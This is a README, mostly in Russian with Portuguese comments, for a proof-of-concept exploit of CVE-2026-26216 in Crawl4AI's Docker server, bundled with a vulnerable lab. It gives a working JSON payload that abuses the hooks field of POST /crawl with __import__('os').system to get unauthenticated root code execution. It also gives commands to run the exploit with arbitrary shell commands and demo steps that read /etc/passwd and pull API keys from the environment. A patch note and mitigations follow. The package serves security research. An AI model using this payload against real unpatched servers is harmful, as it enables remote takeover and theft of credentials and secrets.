
Эксплойт Proof-of-Concept для CVE-2026-26216, демонстрирующий неаутентифицированное удалённое выполнение кода через внедрение хука в Docker-развёртывании Crawl4AI. Включает уязвимую лабораторную среду.
hooks (GHSA-5882-5rx9-xgxp)CVSS 10.0 · RCE до аутентификации · CWE-94 (Code Injection) Неаутентифицированное удалённое выполнение кода на Docker-сервере Crawl4AI (< 0.8.0) через злоупотребление параметром
hooksэндпоинтаPOST /crawl. Один-единственный JSON в POST выполняет Python от имени root внутри контейнера.
Это лабораторная PoC, автономная и воспроизводимая, для исследования безопасности и образовательных целей.
Эндпоинт POST /crawl принимает произвольный код Python в поле
hooks.code.<evento>. Этот код выполняется с помощью exec() внутри
«самодельной песочницы» — словаря ограниченных builtins. Вот только , что позволяет и
обходит всю песочницу.
__import__
остался в allowlist__import__('os').system(...)POST /crawl
{
"urls": ["https://example.com"],
"hooks": {
"code": {
"on_page_context_created":
"async def hook(page, context, **kwargs):\n __import__('os').system('id')\n return page"
}
}
}
Поскольку официальный деплой работает с отключённым по умолчанию JWT, а контейнер работает от root, результат — root RCE без аутентификации.
Песочница кажется работающей: open, eval, exec удалены, поэтому наивная
атака (open('/etc/passwd')) блокируется. Это создаёт ложное чувство
безопасности. Но достаточно одного забытого опасного builtin
(__import__), чтобы импортировать всю stdlib (os, subprocess, socket), и
allowlist превращается в декорацию. Allowlist builtins — это не песочница.
CVE-2026-26216/
├── README.md
├── docker-compose.yml # sobe o servidor vulnerável
├── vulnerable-app/
│ ├── Dockerfile # imagem que roda como root (igual à oficial)
│ ├── requirements.txt
│ ├── server.py # FastAPI: POST /crawl sem auth
│ └── hook_manager.py # o sandbox fraco (a linha vulnerável está aqui)
└── exploit/
└── exploit.py # exploit Python (só stdlib)
Примечание о достоверности.
vulnerable-app/— это облегчённая репродукция уязвимого пути кода Crawl4AI (не открывает Chromium/Playwright), чтобы PoC была лёгкой и на 100% воспроизводимой. Поведение песочницы и структура payload повторяют официальный advisory GHSA-5882-5rx9-xgxp. Уязвимая строка отмечена вvulnerable-app/hook_manager.py.
# 1. sobe o alvo
docker compose up -d --build
# 2. demonstração completa
python3 exploit/exploit.py --target http://localhost:11235 --demo
# 3. comando arbitrário
python3 exploit/exploit.py --target http://localhost:11235 --cmd "id; hostname; env"
# 4. derruba
docker compose down -v
| # | Действие | Результат |
|---|---|---|
| 1 | open('/etc/passwd') напрямую | Заблокировано песочницей (ложная безопасность) |
| 2 | __import__('subprocess') + id/whoami | RCE с правами root |
| 3 | cat /etc/passwd через shell | Произвольное чтение файлов |
| 4 | env | grep KEY | Эксфильтрация API-ключей / токенов |
| 5 | echo ... > /tmp/PWNED | Произвольная запись файлов |
Дальше: пивот во внутреннюю сеть, кража облачных учётных данных, персистентность и т.д.
OPENAI_API_KEY, внутренних токенов, секретов контейнера.Всё это без аутентификации.
Исправлено в Crawl4AI 0.8.0:
__import__ (и eval/exec/open) удалены из разрешённых builtins.CRAWL4AI_HOOKS_ENABLED=true.Общие меры защиты:
crawl4ai >= 0.8.0.Материал для авторизованных исследований безопасности и образования. Используйте только на системах, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение.